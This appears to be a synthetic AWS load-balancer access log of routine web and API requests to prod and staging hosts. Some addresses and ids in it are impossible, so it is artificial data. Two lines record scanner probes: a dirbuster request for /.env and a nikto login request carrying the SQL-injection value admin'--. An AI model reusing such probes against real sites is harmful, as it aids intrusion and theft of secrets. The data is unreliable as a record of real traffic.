"Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce67-d1bb5235557c4a86a35caadb" "prod-web-alb.example.com" "-" 6 2024-11-01T01:37:27.059286Z "forward" "-" "-" "10.0.55.90:443" "200" "-" "-" -https 2024-11-01T01:37:29.054029Z prod-api-alb 241.252.131.168:55319 10.0.52.182:443 0.037673 0.036794 0.088935 301 301 252 4316 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce69-053ddff547d14695aa724696" "prod-api-alb.example.com" "-" 5 2024-11-01T01:37:29.054029Z "forward" "-" "-" "10.0.52.182:443" "301" "-" "-" -http 2024-11-01T01:37:29.929696Z staging-alb 70.112.146.52:54486 24.222.209.32:80 0.010161 0.059016 0.143114 200 200 289 1366 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce69-285e609d13dc45aea79ecd87" "staging-alb.example.com" "-" 8 2024-11-01T01:37:29.929696Z "forward" "-" "-" "24.222.209.32:80" "200" "-" "-" -https 2024-11-01T01:37:31.619349Z prod-web-alb 91.170.75.20:30205 10.0.160.148:443 0.061308 0.452272 0.078013 200 200 143 9725 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce6b-6cb0a86298604581bcf5f17b" "-" "-" 0 2024-11-01T01:37:31.619349Z "forward" "-" "-" "10.0.160.148:443" "200" "-" "-" -https 2024-11-01T01:37:32.662492Z staging-alb 161.197.177.49:56541 140.110.145.82:80 0.001656 0.104659 0.049349 404 404 402 1766 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce6c-6cb7d362aa3f452f8a12854c" "staging-alb.example.com" "-" 2 2024-11-01T01:37:32.662492Z "forward" "-" "-" "140.110.145.82:80" "404" "-" "-" -https 2024-11-01T01:37:33.668429Z prod-web-alb 163.153.11.127:47575 10.0.181.157:443 0.077606 0.074566 0.085421 302 302 654 11141 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce6d-6ce0e28555454214a9e3b444" "prod-web-alb.example.com" "-" 2 2024-11-01T01:37:33.668429Z "forward" "-" "-" "10.0.181.157:443" "302" "-" "-" -https 2024-11-01T01:37:34.225006Z prod-api-alb 156.61.251.125:38302 10.0.50.213:443 0.033782 0.447644 0.056765 200 200 684 7735 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce6e-d3bbb5f5bf2942e29a44db9c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:37:34.225006Z "forward" "-" "-" "10.0.50.213:443" "200" "-" "-" -https 2024-11-01T01:37:35.522675Z prod-web-alb 245.97.155.15:47028 10.0.79.94:443 0.009967 0.385039 0.016004 200 200 194 12088 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce6f-16a92ea592c14cbb9a9d43c1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:37:35.522675Z "forward" "-" "-" "10.0.79.94:443" "200" "-" "-" -https 2024-11-01T01:37:36.192380Z prod-api-alb 180.231.221.22:53434 10.0.249.252:443 0.051358 0.202403 0.056832 302 302 921 7760 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce70-46ce31ad760845e7965de79b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:37:36.192380Z "forward" "-" "-" "10.0.249.252:443" "302" "-" "-" -https 2024-11-01T01:37:38.019631Z prod-web-alb 197.109.108.17:30878 10.0.156.63:443 0.057886 0.009712 0.031486 200 200 39 9031 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce72-5d5f458e4527431a8ed721aa" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:38.019631Z "forward" "-" "-" "10.0.156.63:443" "200" "-" "-" -https 2024-11-01T01:37:39.999378Z staging-alb 185.181.110.51:21234 194.126.149.37:8080 0.039477 0.745324 0.112454 401 401 693 12215 "POST /.env HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce73-f6d07be2b4474c7686fcf761" "-" "-" 5 2024-11-01T01:37:39.999378Z "forward" "-" "-" "194.126.149.37:8080" "401" "-" "-" -http 2024-11-01T01:37:41.119382Z staging-alb 189.76.90.198:36519 18.17.40.30:80 0.143811 0.634402 0.032448 200 200 573 2986 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce75-3fce0464462344dcbaf4a634" "staging-alb.example.com" "-" 3 2024-11-01T01:37:41.119382Z "forward" "-" "-" "18.17.40.30:80" "200" "-" "-" -https 2024-11-01T01:37:43.008262Z prod-web-alb 124.71.162.19:28490 10.0.150.116:443 0.051604 0.463523 0.080189 404 404 417 2644 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce77-959ff3c385e9468eae2a65e8" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:43.008262Z "forward" "-" "-" "10.0.150.116:443" "404" "-" "-" -http 2024-11-01T01:37:44.296211Z staging-alb 193.27.228.11:13783 187.64.248.106:8080 0.116510 0.456762 0.053898 403 403 856 5374 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce78-f25ac2b4c4df4c7ca1141bed" "-" "-" 6 2024-11-01T01:37:44.296211Z "forward" "-" "-" "187.64.248.106:8080" "403" "-" "-" -https 2024-11-01T01:37:45.209469Z prod-web-alb 240.53.2.226:31362 10.0.77.52:443 0.036184 0.064336 0.023631 301 301 579 3631 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce79-5f15812d0aff489aa31ac27a" "prod-web-alb.example.com" "-" 3 2024-11-01T01:37:45.209469Z "forward" "-" "-" "10.0.77.52:443" "301" "-" "-" -https 2024-11-01T01:37:45.325609Z staging-alb 23.19.97.114:53290 211.93.69.151:8080 0.098871 0.745910 0.111934 200 200 450 11315 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce79-10d69c1ae51948788bb555ba" "staging-alb.example.com" "-" 9 2024-11-01T01:37:45.325609Z "forward" "-" "-" "211.93.69.151:8080" "200" "-" "-" -http 2024-11-01T01:37:46.310448Z staging-alb 188.248.62.114:64675 59.195.17.200:80 0.091298 0.353895 0.127224 301 301 832 7180 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7a-d2d127e525fb4259a52e8e28" "staging-alb.example.com" "-" 5 2024-11-01T01:37:46.310448Z "forward" "-" "-" "59.195.17.200:80" "301" "-" "-" -https 2024-11-01T01:37:47.305919Z prod-web-alb 150.187.39.28:62025 10.0.75.37:443 0.078538 0.458751 0.003191 301 301 610 1106 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce7b-dbd6aac068584ca18b87726d" "prod-web-alb.example.com" "-" 8 2024-11-01T01:37:47.305919Z "forward" "-" "-" "10.0.75.37:443" "301" "-" "-" -https 2024-11-01T01:37:47.452519Z prod-api-alb 107.28.167.165:15284 10.0.191.229:443 0.041803 0.323449 0.091673 302 302 88 14855 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce7b-ed1058a822f04ec49f8607ce" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:47.452519Z "forward" "-" "-" "10.0.191.229:443" "302" "-" "-" -http 2024-11-01T01:37:48.100198Z staging-alb 202.103.209.157:29132 163.7.140.70:443 0.029452 0.696751 0.067985 200 200 624 2559 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7c-37bef88108cb429a967de195" "staging-alb.example.com" "-" 0 2024-11-01T01:37:48.100198Z "forward" "-" "-" "163.7.140.70:443" "200" "-" "-" -https 2024-11-01T01:37:49.454338Z staging-alb 151.146.98.231:36314 126.249.34.90:80 0.063429 0.011580 0.136988 404 404 561 8853 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7d-9100bb5b2d3e4a0a9cb6b539" "staging-alb.example.com" "-" 10 2024-11-01T01:37:49.454338Z "forward" "-" "-" "126.249.34.90:80" "404" "-" "-" -https 2024-11-01T01:37:51.401989Z staging-alb 61.177.211.142:46031 0.40.255.85:8080 0.036610 0.185890 0.065590 301 301 411 831 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7f-0b1a4bcd756a4179b2f62f05" "staging-alb.example.com" "-" 5 2024-11-01T01:37:51.401989Z "forward" "-" "-" "0.40.255.85:8080" "301" "-" "-" -https 2024-11-01T01:37:52.539891Z prod-web-alb 254.156.19.61:39771 10.0.3.142:443 0.099334 0.059285 0.041223 200 200 526 6376 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce80-4724eb590cfe4335a956dea8" "prod-web-alb.example.com" "-" 4 2024-11-01T01:37:52.539891Z "forward" "-" "-" "10.0.3.142:443" "200" "-" "-" -https 2024-11-01T01:37:53.332144Z prod-web-alb 158.96.127.129:27834 10.0.253.159:443 0.038295 0.136330 0.091367 302 302 217 9807 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce81-f4091c7a25154e6582894355" "prod-web-alb.example.com" "-" 6 2024-11-01T01:37:53.332144Z "forward" "-" "-" "10.0.253.159:443" "302" "-" "-" -http 2024-11-01T01:37:55.134906Z staging-alb 158.52.65.9:60204 197.228.158.3:8080 0.047104 0.174369 0.059242 200 200 247 1996 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce83-6875637835ad4a8abd5e900f" "staging-alb.example.com" "-" 6 2024-11-01T01:37:55.134906Z "forward" "-" "-" "197.228.158.3:8080" "200" "-" "-" -http 2024-11-01T01:37:56.550968Z staging-alb 254.84.42.0:53541 152.57.52.81:8080 0.016800 0.393808 0.107465 200 200 409 12066 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce84-77bf043c52f347fc8f0d970e" "staging-alb.example.com" "-" 10 2024-11-01T01:37:56.550968Z "forward" "-" "-" "152.57.52.81:8080" "200" "-" "-" -http 2024-11-01T01:37:56.753043Z staging-alb 203.105.23.151:62013 215.56.208.244:80 0.128484 0.270512 0.098135 200 200 524 10314 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce84-5703932b187b43acbfdca893" "staging-alb.example.com" "-" 2 2024-11-01T01:37:56.753043Z "forward" "-" "-" "215.56.208.244:80" "200" "-" "-" -http 2024-11-01T01:37:58.236534Z staging-alb 41.156.108.129:64732 169.94.53.46:80 0.020032 0.583250 0.054286 200 200 291 3523 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce86-fa79bbc7204a490cacd56f20" "staging-alb.example.com" "-" 10 2024-11-01T01:37:58.236534Z "forward" "-" "-" "169.94.53.46:80" "200" "-" "-" -https 2024-11-01T01:37:59.842866Z prod-api-alb 220.233.98.96:37005 10.0.230.253:443 0.054500 0.446892 0.002222 200 200 664 14591 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce87-fe4d26cca7574e38a7c3d5cc" "prod-api-alb.example.com" "-" 10 2024-11-01T01:37:59.842866Z "forward" "-" "-" "10.0.230.253:443" "200" "-" "-" -http 2024-11-01T01:38:00.959646Z staging-alb 84.160.32.80:61480 16.151.182.143:8080 0.052000 0.688926 0.086421 200 200 619 9785 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce88-8f4db871b53d450e81b9b372" "staging-alb.example.com" "-" 1 2024-11-01T01:38:00.959646Z "forward" "-" "-" "16.151.182.143:8080" "200" "-" "-" -https 2024-11-01T01:38:02.379798Z prod-web-alb 188.16.249.246:52259 10.0.97.75:443 0.045599 0.468063 0.089632 302 302 731 11542 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce8a-6146ec82c60f43cd90c20661" "prod-web-alb.example.com" "-" 9 2024-11-01T01:38:02.379798Z "forward" "-" "-" "10.0.97.75:443" "302" "-" "-" -https 2024-11-01T01:38:03.793527Z prod-api-alb 8.227.29.126:17658 10.0.113.184:443 0.029348 0.170664 0.039601 200 200 69 6854 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce8b-faa4b780be974f95af4a77a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:03.793527Z "forward" "-" "-" "10.0.113.184:443" "200" "-" "-" -https 2024-11-01T01:38:05.375416Z prod-api-alb 97.14.77.23:22034 10.0.155.24:443 0.009049 0.172868 0.078544 301 301 629 10848 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce8d-0f8c2c1728284344b1401dbd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:38:05.375416Z "forward" "-" "-" "10.0.155.24:443" "301" "-" "-" -https 2024-11-01T01:38:05.646647Z prod-web-alb 146.193.146.12:48783 10.0.17.173:443 0.092109 0.098493 0.021828 200 200 200 1611 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce8d-917f1c23ea74485ca90ee49f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:05.646647Z "forward" "-" "-" "10.0.17.173:443" "200" "-" "-" -https 2024-11-01T01:38:07.229744Z prod-web-alb 223.176.124.211:17456 10.0.113.142:443 0.050246 0.384825 0.061169 302 302 740 7237 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce8f-7a0d0544e02d431593d9e996" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:07.229744Z "forward" "-" "-" "10.0.113.142:443" "302" "-" "-" -https 2024-11-01T01:38:08.994517Z staging-alb 21.210.240.67:56653 30.203.62.32:80 0.092473 0.441524 0.001291 200 200 673 6260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce90-eb0808a6375f411fa9852d47" "staging-alb.example.com" "-" 5 2024-11-01T01:38:08.994517Z "forward" "-" "-" "30.203.62.32:80" "200" "-" "-" -https 2024-11-01T01:38:09.353988Z prod-web-alb 255.14.106.166:21207 10.0.104.1:443 0.095694 0.212521 0.022491 404 404 224 2439 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce91-fa6723e25b054345aa378d16" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:09.353988Z "forward" "-" "-" "10.0.104.1:443" "404" "-" "-" -https 2024-11-01T01:38:09.890323Z staging-alb 3.73.167.148:41244 106.226.24.23:80 0.044016 0.169804 0.096098 404 404 648 12424 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce91-5c52f5ee1776493c89179c5b" "staging-alb.example.com" "-" 8 2024-11-01T01:38:09.890323Z "forward" "-" "-" "106.226.24.23:80" "404" "-" "-" -https 2024-11-01T01:38:10.251459Z prod-api-alb 19.86.125.175:48417 10.0.177.211:443 0.053848 0.189745 0.012610 301 301 808 1513 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce92-09f38712532a4ae29e9d77ce" "prod-api-alb.example.com" "-" 2 2024-11-01T01:38:10.251459Z "forward" "-" "-" "10.0.177.211:443" "301" "-" "-" -https 2024-11-01T01:38:10.674149Z prod-web-alb 229.120.33.149:19742 10.0.16.89:443 0.022176 0.356627 0.057519 200 200 748 2245 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce92-4888083109cc445a8c9b61f8" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:10.674149Z "forward" "-" "-" "10.0.16.89:443" "200" "-" "-" -https 2024-11-01T01:38:11.318542Z prod-web-alb 124.202.120.97:45763 10.0.129.188:443 0.026336 0.095354 0.014620 200 200 152 13597 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce93-d2adad2b778646db93b34146" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:11.318542Z "forward" "-" "-" "10.0.129.188:443" "200" "-" "-" -https 2024-11-01T01:38:12.414791Z prod-api-alb 119.164.150.129:48217 10.0.143.57:443 0.052706 0.390656 0.002957 301 301 644 12799 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce94-74ad1564f5354030b2401081" "prod-api-alb.example.com" "-" 9 2024-11-01T01:38:12.414791Z "forward" "-" "-" "10.0.143.57:443" "301" "-" "-" -https 2024-11-01T01:38:12.545461Z prod-api-alb 99.57.13.141:56882 10.0.80.246:443 0.078054 0.192435 0.007841 302 302 587 11213 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce94-7397b8bc920d4f44aa01f4e9" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:12.545461Z "forward" "-" "-" "10.0.80.246:443" "302" "-" "-" -https 2024-11-01T01:38:14.419527Z prod-web-alb 98.97.134.150:50026 10.0.32.34:443 0.007081 0.363689 0.017078 302 302 767 9434 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce96-b680532e3cd54fc8af47ef9c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:14.419527Z "forward" "-" "-" "10.0.32.34:443" "302" "-" "-" -https 2024-11-01T01:38:15.281246Z prod-web-alb 242.224.138.139:58943 10.0.22.118:443 0.003197 0.474251 0.092916 404 404 828 4597 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce97-b7c2f07a668e4045bc1274b5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:15.281246Z "forward" "-" "-" "10.0.22.118:443" "404" "-" "-" -https 2024-11-01T01:38:16.486101Z prod-web-alb 98.174.165.118:53549 10.0.127.127:443 0.055767 0.487925 0.012707 200 200 416 3301 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce98-c9ae1d02bf5740edb298c3f9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:16.486101Z "forward" "-" "-" "10.0.127.127:443" "200" "-" "-" -http 2024-11-01T01:38:17.685894Z staging-alb 122.1.110.147:60702 52.53.191.216:80 0.113552 0.241186 0.127830 200 200 635 14796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce99-27c2254dff354b4eb973503e" "staging-alb.example.com" "-" 2 2024-11-01T01:38:17.685894Z "forward" "-" "-" "52.53.191.216:80" "200" "-" "-" -http 2024-11-01T01:38:18.451243Z staging-alb 0.133.182.24:23253 246.148.146.29:80 0.018520 0.710282 0.000974 200 200 724 1481 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 